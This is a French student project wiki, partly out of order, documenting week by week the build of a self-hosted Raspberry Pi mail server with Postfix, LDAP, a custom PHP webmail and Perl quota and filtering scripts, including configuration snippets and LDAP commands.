Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)

Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]

Code Perl du script pour Postfix :

Fichier de configuration (Postfix/Lighttpd) fonctionnels : [http://http://projets-imasc.plil.net/mediawiki/images/1/11/Config_intimail.zip Config Postfix+Lighttpd]

Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]

P9 Système d'hébergement domestique

2016-02-23T10:49:01Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
